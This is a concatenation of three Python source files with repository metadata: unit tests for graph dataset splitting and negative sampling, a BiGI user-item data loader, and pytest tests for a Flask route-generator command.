int(0.1 * edge_type_num) test_num = edge_type_num - train_num - val_num edges_type_num[edge_type] = [ train_disjoint_num, val_num, test_num ] edges_train += edges[edge_type][0: train_num] edges_train_disjoint += edges[edge_type][0: train_disjoint_num] edges_val += edges[edge_type][train_num: train_num + val_num] edges_test += edges[edge_type][train_num + val_num:] else: edges_train += edges[edge_type] edges_val += edges[edge_type] edges_test += edges[edge_type] # Note that user must provide edge type # and that the message_types of edges must include all message types # in link_split_types custom_negative_sampling_train = [ (0, 2, {"edge_type": "e1"}), (0, 13, {"edge_type": "e2"}) ] custom_negative_sampling_val = [ (0, 3, {"edge_type": "e1"}), (0, 16, {"edge_type": "e2"}) ] custom_negative_sampling_test = [ (0, 5, {"edge_type": "e1"}), (0, 17, {"edge_type": "e2"}) ] custom_negative_sampling_train_dict = { ("n1", "e1", "n1"): [(0, 2)], ("n1", "e2", "n2"): [(0, 13)] } custom_negative_sampling_val_dict = { ("n1", "e1", "n1"): [(0, 3)], ("n1", "e2", "n2"): [(0, 16)] } custom_negative_sampling_test_dict = { ("n1", "e1", "n1"): [(0, 5)], ("n1", "e2", "n2"): [(0, 17)] } hete = HeteroGraph( G, custom={ "general_splits": [ edges_train, edges_val, edges_test ], "disjoint_split": edges_train_disjoint, "negative_edges": [ custom_negative_sampling_train, custom_negative_sampling_val, custom_negative_sampling_test ], "task": "link_pred", } ) dataset = GraphDataset( [hete], task="link_pred", edge_train_mode="disjoint" ) split_res = dataset.split( transductive=True, split_types=link_split_types ) for edge_type in hete.edge_label_index: if edge_type in link_split_types: [edge_0, edge_1, edge_2] = edges_type_num[edge_type] self.assertEqual( split_res[0][0].edge_label_index[edge_type].shape[1], 2 * edge_0 ) self.assertEqual( split_res[1][0].edge_label_index[edge_type].shape[1], 2 * edge_1 ) self.assertEqual( split_res[2][0].edge_label_index[edge_type].shape[1], 2 * edge_2 ) self.assertEqual( split_res[0][0].edge_label_index[edge_type][:, edge_0:].tolist(), [ list(x) for x in list(zip(*( custom_negative_sampling_train_dict[edge_type]) * edge_0 )) ] ) self.assertEqual( split_res[1][0].edge_label_index[edge_type][:, edge_1:].tolist(), [ list(x) for x in list(zip(*( custom_negative_sampling_val_dict[edge_type]) * edge_1 )) ] ) self.assertEqual( split_res[2][0].edge_label_index[edge_type][:, edge_2:].tolist(), [ list(x) for x in list(zip(*( custom_negative_sampling_test_dict[edge_type]) * edge_2 )) ] ) else: num_edges = hete.edge_label_index[edge_type].shape[1] self.assertEqual( split_res[0][0].edge_label_index[edge_type].shape[1], num_edges ) self.assertEqual( split_res[1][0].edge_label_index[edge_type].shape[1], num_edges ) self.assertEqual( split_res[2][0].edge_label_index[edge_type].shape[1], num_edges ) # heterogeneous multigraph w/ custom support G = generate_dense_hete_multigraph() edges_train, edges_train_disjoint, edges_val, edges_test = [], [], [], [] link_split_types = [("n1", "e1", "n1"), ("n1", "e2", "n2")] nodes_dict = {} for node in G.nodes(data=True): nodes_dict[node[0]] = node[-1]["node_type"] edges = {} edges_type_num = {} for edge in G.edges: edge_type = G.edges[edge]["edge_type"] head_type = nodes_dict[edge[0]] tail_type = nodes_dict[edge[1]] message_type = (head_type, edge_type, tail_type) if message_type not in edges: edges[message_type] = [] edges[message_type].append((edge[0], edge[1], edge[2])) for edge_type in edges: if edge_type in link_split_types: edge_type_num = len(edges[edge_type]) train_num = int(0.8 * edge_type_num) train_disjoint_num = int(0.4 * 0.8 * edge_type_num) val_num = int(0.1 * edge_type_num) test_num = edge_type_num - train_num - val_num edges_type_num[edge_type] = [ train_disjoint_num, val_num, test_num ] edges_train += edges[edge_type][0: train_num] edges_train_disjoint += edges[edge_type][0: train_disjoint_num] edges_val += edges[edge_type][train_num: train_num + val_num] edges_test += edges[edge_type][train_num + val_num:] else: edges_train += edges[edge_type] edges_val += edges[edge_type] edges_test += edges[edge_type] hete = HeteroGraph( G, custom={ "general_splits": [ edges_train, edges_val, edges_test ], "disjoint_split": edges_train_disjoint, "task": "link_pred", } ) dataset = GraphDataset( [hete], task="link_pred", edge_train_mode="disjoint" ) split_res = dataset.split( transductive=True, split_types=link_split_types ) for edge_type in hete.edge_label_index: if edge_type in link_split_types: [edge_0, edge_1, edge_2] = edges_type_num[edge_type] self.assertEqual( split_res[0][0].edge_label_index[edge_type].shape[1], 2 * edge_0 ) self.assertEqual( split_res[1][0].edge_label_index[edge_type].shape[1], 2 * edge_1 ) self.assertEqual( split_res[2][0].edge_label_index[edge_type].shape[1], 2 * edge_2 ) else: num_edges = hete.edge_label_index[edge_type].shape[1] self.assertEqual( split_res[0][0].edge_label_index[edge_type].shape[1], num_edges ) self.assertEqual( split_res[1][0].edge_label_index[edge_type].shape[1], num_edges ) self.assertEqual( split_res[2][0].edge_label_index[edge_type].shape[1], num_edges ) def test_apply_transform(self): def transform_func(graph): G = graph.G for v in G.nodes: G.nodes[v]["node_feature"] = torch.ones(5) for u, v, edge_key in G.edges: edge_feature = G[u][v][edge_key]["edge_feature"] G[u][v][edge_key]["edge_feature"] = 2 * edge_feature graph.G = G return graph G, x, y, edge_x, edge_y, edge_index, graph_x, graph_y = ( simple_networkx_multigraph() ) Graph.add_edge_attr(G, "edge_feature", edge_x) Graph.add_edge_attr(G, "edge_label", edge_y) Graph.add_node_attr(G, "node_label", y) Graph.add_graph_attr(G, "graph_feature", graph_x) Graph.add_graph_attr(G, "graph_label", graph_y) graph = Graph(G) graphs = [graph] dataset = GraphDataset( graphs, task="link_pred", edge_train_mode="disjoint" ) edge_feature = dataset[0].edge_feature dataset_transform = dataset.apply_transform(transform_func) self.assertEqual( torch.sum( dataset_transform[0].node_feature - torch.ones([G.number_of_nodes(), 5]) ).item(), 0 ) self.assertEqual( torch.sum( dataset_transform[0].edge_feature - 2 * edge_feature ).item(), 0 ) def test_generator(self): pyg_dataset = Planetoid("./cora", "Cora") dg = Graph.pyg_to_graph(pyg_dataset[0]) num_nodes = 500 sizes = [2, 3] class NeighborGenerator(Generator): def __len__(self): return sizes def generate(self): graph = Graph(gen_graph(num_nodes, dg.G)) return graph dataset = GraphDataset(None, generator=NeighborGenerator(sizes)) self.assertTrue(dataset[0].node_feature.shape[0] == num_nodes) def test_ensemble_generator(self): pyg_dataset = Planetoid("./cora", "Cora") dg = Graph.pyg_to_graph(pyg_dataset[0]) num_nodes = 500 sizes = [2, 3] class NeighborGenerator1(Generator): def __len__(self): return sizes def generate(self): graph = Graph(gen_graph(num_nodes, dg.G)) return graph class NeighborGenerator2(Generator): def __len__(self): return sizes def generate(self): graph = Graph(gen_graph(num_nodes, dg.G)) return graph ensemble_generator = ( EnsembleGenerator( [ NeighborGenerator1(sizes), NeighborGenerator2(sizes), ] ) ) dataset = GraphDataset(None, generator=ensemble_generator) self.assertTrue(dataset[0].node_feature.shape[0] == num_nodes) def test_filter(self): pyg_dataset = TUDataset("./enzymes", "ENZYMES") graphs = GraphDataset.pyg_to_graphs(pyg_dataset) dataset = GraphDataset(graphs, task="graph") thresh = 90 orig_dataset_size = len(dataset) num_graphs_large = 0 for graph in dataset: if len(graph.G) >= thresh: num_graphs_large += 1 dataset = dataset.filter( lambda graph: len(graph.G) < thresh, deep_copy=False ) filtered_dataset_size = len(dataset) self.assertEqual( orig_dataset_size - filtered_dataset_size, num_graphs_large, ) def test_resample_disjoint_heterogeneous(self): G = generate_dense_hete_dataset() hete = HeteroGraph(G) graphs = [hete] dataset = GraphDataset( graphs, task="link_pred", edge_train_mode="disjoint", edge_message_ratio=0.8, resample_disjoint=True, resample_disjoint_period=1 ) dataset_train, _, _ = dataset.split(split_ratio=[0.5, 0.2, 0.3]) graph_train_first = dataset_train[0] graph_train_second = dataset_train[0] for message_type in graph_train_first.edge_index: self.assertEqual( graph_train_first.edge_label_index[message_type].shape[1], graph_train_second.edge_label_index[message_type].shape[1] ) self.assertEqual( graph_train_first.edge_label[message_type].shape, graph_train_second.edge_label[message_type].shape ) def test_resample_disjoint(self): pyg_dataset = Planetoid("./cora", "Cora") graphs = GraphDataset.pyg_to_graphs(pyg_dataset) dataset = GraphDataset( graphs, task="link_pred", edge_train_mode="disjoint", edge_message_ratio=0.8, resample_disjoint=True, resample_disjoint_period=1 ) dataset_train, _, _ = dataset.split(split_ratio=[0.5, 0.2, 0.3]) graph_train_first = dataset_train[0] graph_train_second = dataset_train[0] self.assertEqual( graph_train_first.edge_label_index.shape[1], graph_train_second.edge_label_index.shape[1] ) self.assertTrue( torch.equal( graph_train_first.edge_label, graph_train_second.edge_label ) ) G, x, y, edge_x, edge_y, edge_index, graph_x, graph_y = ( simple_networkx_graph() ) Graph.add_edge_attr(G, "edge_feature", edge_x) Graph.add_edge_attr(G, "edge_label", edge_y) Graph.add_node_attr(G, "node_feature", x) Graph.add_node_attr(G, "node_label", y) Graph.add_graph_attr(G, "graph_feature", graph_x) Graph.add_graph_attr(G, "graph_label", graph_y) graph = Graph(G) graphs = [graph] dataset = GraphDataset( graphs, task="link_pred", edge_train_mode="disjoint", edge_message_ratio=0.8, resample_disjoint=True, resample_disjoint_period=1 ) dataset_train, _, _ = dataset.split(split_ratio=[0.5, 0.2, 0.3]) graph_train_first = dataset_train[0] graph_train_second = dataset_train[0] self.assertEqual( graph_train_first.edge_label_index.shape[1], graph_train_second.edge_label_index.shape[1] ) self.assertEqual( graph_train_first.edge_label.shape[0], graph_train_second.edge_label.shape[0] ) def test_secure_split_heterogeneous(self): G = generate_simple_small_hete_graph() graph = HeteroGraph(G) graphs = [graph] # node task dataset = GraphDataset(graphs, task="node") split_res = dataset.split() for node_type in graph.node_label_index: num_nodes = graph.node_label_index[node_type].shape[0] num_nodes_reduced = num_nodes - 3 node_0 = 1 + int(num_nodes_reduced * 0.8) node_1 = 1 + int(num_nodes_reduced * 0.1) node_2 = num_nodes - node_0 - node_1 node_size = [node_0, node_1, node_2] for i in range(3): self.assertEqual( split_res[i][0].node_label_index[node_type].shape[0], node_size[i] ) self.assertEqual( split_res[i][0].node_label[node_type].shape[0], node_size[i] ) # edge task dataset = GraphDataset(graphs, task="edge") split_res = dataset.split() for message_type in graph.edge_label_index: num_edges = graph.edge_label_index[message_type].shape[1] num_edges_reduced = num_edges - 3 edge_0 = 1 + int(num_edges_reduced * 0.8) edge_1 = 1 + int(num_edges_reduced * 0.1) edge_2 = num_edges - edge_0 - edge_1 edge_size = [edge_0, edge_1, edge_2] for i in range(3): self.assertEqual( split_res[i][0].edge_label_index[message_type].shape[1], edge_size[i] ) self.assertEqual( split_res[i][0].edge_label[message_type].shape[0], edge_size[i] ) # link_pred task dataset = GraphDataset(graphs, task="link_pred") split_res = dataset.split() for message_type in graph.edge_label_index: num_edges = graph.edge_label_index[message_type].shape[1] num_edges_reduced = num_edges - 3 edge_0 = 2 * (1 + int(num_edges_reduced * 0.8)) edge_1 = 2 * (1 + int(num_edges_reduced * 0.1)) edge_2 = 2 * num_edges - edge_0 - edge_1 edge_size = [edge_0, edge_1, edge_2] for i in range(3): self.assertEqual( split_res[i][0].edge_label_index[message_type].shape[1], edge_size[i] ) self.assertEqual( split_res[i][0].edge_label[message_type].shape[0], edge_size[i] ) def test_secure_split(self): G = simple_networkx_small_graph() graph = Graph(G) graphs = [graph] # node task dataset = GraphDataset(graphs, task="node") num_nodes = dataset.num_nodes[0] num_nodes_reduced = num_nodes - 3 node_0 = 1 + int(0.8 * num_nodes_reduced) node_1 = 1 + int(0.1 * num_nodes_reduced) node_2 = num_nodes - node_0 - node_1 node_size = [node_0, node_1, node_2] split_res = dataset.split() for i in range(3): self.assertEqual( split_res[i][0].node_label_index.shape[0], node_size[i] ) self.assertEqual( split_res[i][0].node_label.shape[0], node_size[i] ) # edge task dataset = GraphDataset(graphs, task="edge") num_edges = dataset.num_edges[0] num_edges_reduced = num_edges - 3 edge_0 = 1 + int(0.8 * num_edges_reduced) edge_1 = 1 + int(0.1 * num_edges_reduced) edge_2 = num_edges - edge_0 - edge_1 edge_size = [edge_0, edge_1, edge_2] split_res = dataset.split() for i in range(3): self.assertEqual( split_res[i][0].edge_label_index.shape[1], edge_size[i] ) self.assertEqual( split_res[i][0].edge_label.shape[0], edge_size[i] ) # link_pred task dataset = GraphDataset(graphs, task="link_pred") num_edges = dataset.num_edges[0] num_edges_reduced = num_edges - 3 edge_0 = 2 * (1 + int(0.8 * num_edges_reduced)) edge_1 = 2 * (1 + int(0.1 * num_edges_reduced)) edge_2 = 2 * num_edges - edge_0 - edge_1 edge_size = [edge_0, edge_1, edge_2] split_res = dataset.split() for i in range(3): self.assertEqual( split_res[i][0].edge_label_index.shape[1], edge_size[i] ) self.assertEqual( split_res[i][0].edge_label.shape[0], edge_size[i] ) # graph task graphs = [deepcopy(graph) for _ in range(5)] dataset = GraphDataset(graphs, task="link_pred") num_graphs = len(dataset) num_graphs_reduced = num_graphs - 3 num_train = 1 + int(num_graphs_reduced * 0.8) num_val = 1 + int(num_graphs_reduced * 0.1) num_test = num_graphs - num_train - num_val split_res = dataset.split(transductive=False) self.assertEqual(num_train, len(split_res[0])) self.assertEqual(num_val, len(split_res[1])) self.assertEqual(num_test, len(split_res[2])) def test_negative_sampling_edge_case_heterogeneous(self): # complete graph G = generate_simple_dense_hete_graph() graph = HeteroGraph(G) graphs = [graph] dataset = GraphDataset(graphs, task="link_pred") self.assertRaises(ValueError, dataset[0]._create_neg_sampling, 1) # complete graph except 1 missing edge G = generate_simple_dense_hete_graph(num_edges_removed=1) graph = HeteroGraph(G) graphs = [graph] dataset = GraphDataset(graphs, task="link_pred") dataset[0]._create_neg_sampling(1) for message_type in dataset[0].message_types: num_edges = dataset[0].num_edges(message_type) self.assertEqual( dataset[0].edge_label[message_type].shape[0], 2 * num_edges ) # complete multigraph G = generate_simple_dense_hete_multigraph() graph = HeteroGraph(G) graphs = [graph] dataset = GraphDataset(graphs, task="link_pred") self.assertRaises(ValueError, dataset[0]._create_neg_sampling, 1) # complete multigraph except 1 missing edge G = generate_simple_dense_hete_multigraph(num_edges_removed=1) graph = HeteroGraph(G) graphs = [graph] dataset = GraphDataset(graphs, task="link_pred") dataset[0]._create_neg_sampling(1) for message_type in dataset[0].message_types: num_edges = dataset[0].num_edges(message_type) self.assertEqual( dataset[0].edge_label[message_type].shape[0], 2 * num_edges ) def test_negative_sampling_edge_case(self): # complete graph G = simple_networkx_dense_graph() graph = Graph(G) graphs = [graph] dataset = GraphDataset(graphs, task="link_pred") self.assertRaises(ValueError, dataset[0]._create_neg_sampling, 1) # complete graph except 1 missing edge G = simple_networkx_dense_graph(num_edges_removed=1) graph = Graph(G) graphs = [graph] dataset = GraphDataset(graphs, task="link_pred") num_edges = dataset.num_edges[0] dataset[0]._create_neg_sampling(1) self.assertEqual(dataset[0].edge_label.shape[0], 2 * num_edges) # complete multigraph G = simple_networkx_dense_multigraph() graph = Graph(G) graphs = [graph] dataset = GraphDataset(graphs, task="link_pred") self.assertRaises(ValueError, dataset[0]._create_neg_sampling, 1) # complete multigraph except 1 missing edge G = simple_networkx_dense_multigraph(num_edges_removed=1) graph = Graph(G) graphs = [graph] dataset = GraphDataset(graphs, task="link_pred") num_edges = dataset.num_edges[0] dataset[0]._create_neg_sampling(1) self.assertEqual(dataset[0].edge_label.shape[0], 2 * num_edges) if __name__ == "__main__": unittest.main()

36.471535

129

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null

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177d200a81abac306eaa75a289ef7f0959cc6176

12,021

py

Python

BiGI_src/utils/loader.py

caojiangxia/BiGI

ed54c20523a5b3f295b90a9c08f7c54e8258d04a

[ "MIT" ]

57

2020-10-19T08:54:57.000Z

2022-03-19T12:20:43.000Z

BiGI_src/utils/loader.py

caojiangxia/BiGI

ed54c20523a5b3f295b90a9c08f7c54e8258d04a

[ "MIT" ]

6

2020-12-01T02:31:56.000Z

2021-10-10T06:15:13.000Z

BiGI_src/utils/loader.py

caojiangxia/BiGI

ed54c20523a5b3f295b90a9c08f7c54e8258d04a

[ "MIT" ]

9

2021-05-15T03:29:31.000Z

2022-03-14T20:28:44.000Z

""" Data loader for TACRED json files. """ import json import random import torch import numpy as np class DataLoader(object): """ Load data from json files, preprocess and prepare batches. """ def __init__(self, filename, batch_size, opt, user_real_dict, user_fake_dict, item_real_dict, item_fake_dict, evaluation): self.batch_size = batch_size self.opt = opt self.eval = evaluation self.ma = {} with open(filename) as infile: data=[] for line in infile: line=line.strip().split("\t") data.append([int(line[0]),int(line[1])]) if int(line[0]) not in self.ma.keys(): self.ma[int(line[0])] = set() self.ma[int(line[0])].add(int(line[1])) self.raw_data = data self.user_real_dict = user_real_dict self.user_fake_dict = user_fake_dict self.item_real_dict = item_real_dict self.item_fake_dict = item_fake_dict if not evaluation: data = self.preprocess(data, opt) # [[user,item] ... ] else : data = self.preprocess_for_predict() # [ [user, [gound_truth]] ] # shuffle for training if not evaluation: indices = list(range(len(data))) random.shuffle(indices) data = [data[i] for i in indices] if batch_size > len(data): batch_size = len(data) self.batch_size = batch_size if len(data)%batch_size != 0: data += data[:batch_size] data = data[: (len(data)//batch_size) * batch_size] self.num_examples = len(data) # chunk into batches data = [data[i:i+batch_size] for i in range(0, len(data), batch_size)] self.data = data print("{} batches created for {}".format(len(data), filename)) def preprocess_for_predict(self): processed=[] for user in range(self.opt["number_user"]): ground_truth=[] if user not in self.ma.keys(): continue for item in self.ma[user]: if item >= self.opt["number_item"]: continue ground_truth.append(item) if len(ground_truth) == 0: continue ground_truth=sorted(ground_truth) processed.append([user,ground_truth]) return processed def preprocess(self, data, opt): """ Preprocess the data and convert to ids. """ processed = [] self.user_item_pair = [] for mytuple in data: processed.append((mytuple[0],mytuple[1])) if len(self.user_real_dict[mytuple[0]]) > self.opt["min_neighbor"] and len(self.user_fake_dict[mytuple[0]]) > self.opt[ "min_neighbor"] and len(self.item_real_dict[mytuple[1]]) > self.opt["min_neighbor"] and len( self.item_fake_dict[mytuple[1]]) > self.opt["min_neighbor"]: self.user_item_pair.append((mytuple[0],mytuple[1])) return processed def __len__(self): return len(self.data) def __getitem__(self, key): """ Get a batch with index. """ if not isinstance(key, int): raise TypeError if key < 0 or key >= len(self.data): raise IndexError batch = self.data[key] batch_size = len(batch) if self.eval : batch = list(zip(*batch)) return torch.LongTensor(batch[0]), batch[1] else : negative_tmp = [] for i in range(batch_size): for j in range(self.opt["negative"]): while 1: rand = random.randint(0,self.opt["number_item"]-1) if rand not in self.user_real_dict[batch[i][0]]: negative_tmp.append((batch[i][0],rand)) break batch = list(zip(*batch)) negative_tmp = list(zip(*negative_tmp)) if self.opt["number_user"] * self.opt["number_item"] > 10000000: user_index = [] item_index = [] real_user_index_id = [] fake_user_index_id = [] real_item_index_id = [] fake_item_index_id = [] random.shuffle(self.user_item_pair) for id in range(10): user = self.user_item_pair[id][0] item = self.user_item_pair[id][1] real_item_id = list(self.user_real_dict[user]) real_user_id = list(self.item_real_dict[item]) fake_item_id = list(self.user_fake_dict[user]) fake_user_id = list(self.item_fake_dict[item]) random.shuffle(real_item_id) random.shuffle(fake_item_id) random.shuffle(real_user_id) random.shuffle(fake_user_id) real_item_id = real_item_id[:self.opt["min_neighbor"]] fake_item_id = fake_item_id[:self.opt["min_neighbor"]] real_user_id = real_user_id[:self.opt["min_neighbor"]] fake_user_id = fake_user_id[:self.opt["min_neighbor"]] user_index.append(user) item_index.append(item) fake_user_id = real_user_id fake_item_id = real_item_id real_item_index_id.append(real_item_id) real_user_index_id.append(real_user_id) fake_item_index_id.append(fake_item_id) fake_user_index_id.append(fake_user_id) return torch.LongTensor(batch[0]), torch.LongTensor(batch[1]) , torch.LongTensor(negative_tmp[1]) , torch.LongTensor(user_index), torch.LongTensor(item_index), torch.LongTensor(real_user_index_id), torch.LongTensor(fake_user_index_id), torch.LongTensor(real_item_index_id), torch.LongTensor(fake_item_index_id) return torch.LongTensor(batch[0]), torch.LongTensor(batch[1]),torch.LongTensor(negative_tmp[1]) def __iter__(self): for i in range(self.__len__()): yield self.__getitem__(i) class wikiDataLoader(object): """ Load data from json files, preprocess and prepare batches. """ def __init__(self, filename, batch_size, opt, user_real_dict, user_fake_dict, item_real_dict, item_fake_dict, evaluation): self.batch_size = batch_size self.opt = opt self.eval = evaluation self.ma = {} with open(filename) as infile: data=[] for line in infile: line=line.strip().split("\t") data.append([int(line[0]),int(line[1]),int(line[2])]) if int(line[0]) not in self.ma.keys(): self.ma[int(line[0])] = set() self.ma[int(line[0])].add(int(line[1])) self.raw_data = data self.user_real_dict = user_real_dict self.user_fake_dict = user_fake_dict self.item_real_dict = item_real_dict self.item_fake_dict = item_fake_dict data = self.preprocess(data, opt) # shuffle for training if not evaluation: indices = list(range(len(data))) random.shuffle(indices) data = [data[i] for i in indices] if batch_size > len(data): batch_size = len(data) self.batch_size = batch_size if len(data)%batch_size != 0: data += data[:batch_size] data = data[: (len(data)//batch_size) * batch_size] self.num_examples = len(data) if not evaluation: data = [data[i:i+batch_size] for i in range(0, len(data), batch_size)] else : data = [data] self.data = data print("{} batches created for {}".format(len(data), filename)) def preprocess(self, data, opt): """ Preprocess the data and convert to ids. """ processed = [] self.user_item_pair = [] for mytuple in data: processed.append((mytuple[0],mytuple[1],mytuple[2])) if len(self.user_real_dict[mytuple[0]]) > self.opt["min_neighbor"] and len( self.user_fake_dict[mytuple[0]]) > self.opt[ "min_neighbor"] and len(self.item_real_dict[mytuple[1]]) > self.opt["min_neighbor"] and len( self.item_fake_dict[mytuple[1]]) > self.opt["min_neighbor"]: self.user_item_pair.append((mytuple[0], mytuple[1])) return processed def __len__(self): return len(self.data) def __getitem__(self, key): """ Get a batch with index. """ if not isinstance(key, int): raise TypeError if key < 0 or key >= len(self.data): raise IndexError batch = self.data[key] batch_size = len(batch) if self.eval : batch = list(zip(*batch)) return torch.LongTensor(batch[0]), torch.LongTensor(batch[1])+torch.tensor(self.opt["number_user"]), np.array(batch[2]) else : negative_tmp = [] for i in range(batch_size): for j in range(self.opt["negative"]): while 1: rand = random.randint(0,self.opt["number_item"]-1) if rand not in self.user_real_dict[batch[i][0]]: negative_tmp.append((batch[i][0],rand)) break batch = list(zip(*batch)) negative_tmp = list(zip(*negative_tmp)) if self.opt["number_user"] * self.opt["number_item"] > 10000000: user_index = [] item_index = [] real_user_index_id = [] fake_user_index_id = [] real_item_index_id = [] fake_item_index_id = [] random.shuffle(self.user_item_pair) for id in range(10): user = self.user_item_pair[id][0] item = self.user_item_pair[id][1] real_item_id = list(self.user_real_dict[user]) real_user_id = list(self.item_real_dict[item]) fake_item_id = list(self.user_fake_dict[user]) fake_user_id = list(self.item_fake_dict[item]) random.shuffle(real_item_id) random.shuffle(fake_item_id) random.shuffle(real_user_id) random.shuffle(fake_user_id) real_item_id = real_item_id[:self.opt["min_neighbor"]] fake_item_id = fake_item_id[:self.opt["min_neighbor"]] real_user_id = real_user_id[:self.opt["min_neighbor"]] fake_user_id = fake_user_id[:self.opt["min_neighbor"]] user_index.append(user) item_index.append(item) fake_user_id = real_user_id fake_item_id = real_item_id real_item_index_id.append(real_item_id) real_user_index_id.append(real_user_id) fake_item_index_id.append(fake_item_id) fake_user_index_id.append(fake_user_id) return torch.LongTensor(batch[0]), torch.LongTensor(batch[1]) , torch.LongTensor(negative_tmp[1]) , torch.LongTensor(user_index), torch.LongTensor(item_index), torch.LongTensor(real_user_index_id), torch.LongTensor(fake_user_index_id), torch.LongTensor(real_item_index_id), torch.LongTensor(fake_item_index_id) # User , item, label -> batch | batch | batch return torch.LongTensor(batch[0]), torch.LongTensor(batch[1]),torch.LongTensor(negative_tmp[1]) # User , item, neg_item -> batch | batch | batch def __iter__(self): for i in range(self.__len__()): yield self.__getitem__(i)

44.032967

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null

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7

bd87baa2025f964261ea1589cd1342cb48b71444

3,614

py

Python

tests/generators/test_route_generator.py

graydenshand/flask_boot

2aeb0d47543fc85a15e752a00bfa0d0ba9e23988

[ "MIT" ]

1

2021-09-17T13:41:10.000Z

tests/generators/test_route_generator.py

graydenshand/flask_boot

2aeb0d47543fc85a15e752a00bfa0d0ba9e23988

[ "MIT" ]

null

tests/generators/test_route_generator.py

graydenshand/flask_boot

2aeb0d47543fc85a15e752a00bfa0d0ba9e23988

[ "MIT" ]

null

from ..conf_tests import app, cli from flask_batteries.commands import generate, destroy import os import traceback from flask_batteries.config import TAB import subprocess def test_route_generator(cli, app): # Generate files result = cli.invoke(generate, ["route", "sign_up"]) assert result.exit_code == 0, traceback.print_exception(*result.exc_info) assert os.path.exists(os.path.join("src", "routes", "sign_up.py")) assert os.path.exists(os.path.join("src", "templates", "sign_up.html")) assert os.path.exists(os.path.join("test", "routes", "test_sign_up.py")) with open(os.path.join("src", "routes", "__init__.py"), "r") as f: content = f.read() assert "from .sign_up import sign_up_view" in content assert f'{TAB}app.add_url_rule("/sign-up/", view_func=sign_up_view)' in content # Destroy generated files result = cli.invoke(destroy, ["route", "sign_up"]) assert result.exit_code == 0, traceback.print_exception(*result.exc_info) assert not os.path.exists(os.path.join("src", "routes", "sign_up.py")) assert not os.path.exists(os.path.join("src", "templates", "sign_up.html")) assert not os.path.exists(os.path.join("test", "routes", "test_sign_up.py")) with open(os.path.join("src", "routes", "__init__.py"), "r") as f: content = f.read() assert "from .sign_up import sign_up_view" not in content assert '\tapp.add_url_rule("/sign-up/", view_func=sign_up_view)' not in content def test_route_generator_with_multiple_url_rules(cli, app): # Generate files result = cli.invoke(generate, ["route", "sign_up", "/sign-up", "/register"]) assert result.exit_code == 0, traceback.print_exception(*result.exc_info) assert os.path.exists(os.path.join("src", "routes", "sign_up.py")) assert os.path.exists(os.path.join("src", "templates", "sign_up.html")) assert os.path.exists(os.path.join("test", "routes", "test_sign_up.py")) with open(os.path.join("src", "routes", "__init__.py"), "r") as f: content = f.read() assert "from .sign_up import sign_up_view" in content assert f'{TAB}app.add_url_rule("/sign-up/", view_func=sign_up_view)' in content assert f'{TAB}app.add_url_rule("/register/", view_func=sign_up_view)' in content # Destroy generated files result = cli.invoke(destroy, ["route", "sign_up"]) assert result.exit_code == 0, traceback.print_exception(*result.exc_info) assert not os.path.exists(os.path.join("src", "routes", "sign_up.py")) assert not os.path.exists(os.path.join("src", "templates", "sign_up.html")) assert not os.path.exists(os.path.join("test", "routes", "test_sign_up.py")) with open(os.path.join("src", "routes", "__init__.py"), "r") as f: content = f.read() assert "from .sign_up import sign_up_view" not in content assert '\tapp.add_url_rule("/sign-up/", view_func=sign_up_view)' not in content assert '\tapp.add_url_rule("/register/", view_func=sign_up_view)' not in content def test_generated_test_passes(cli, app): result = cli.invoke(generate, ["route", "sign_up"]) assert result.exit_code == 0, traceback.print_exception(*result.exc_info) # Run the generated app's test suite and verify exit code is 0 if os.name != "nt": run_tests = subprocess.run( "source venv/bin/activate && pytest -k test_sign_up", shell=True ) else: run_tests = subprocess.run( "venv\\Scripts\\activate && pytest -k test_sign_up", shell=True ) assert run_tests.returncode == 0, run_tests.stdout

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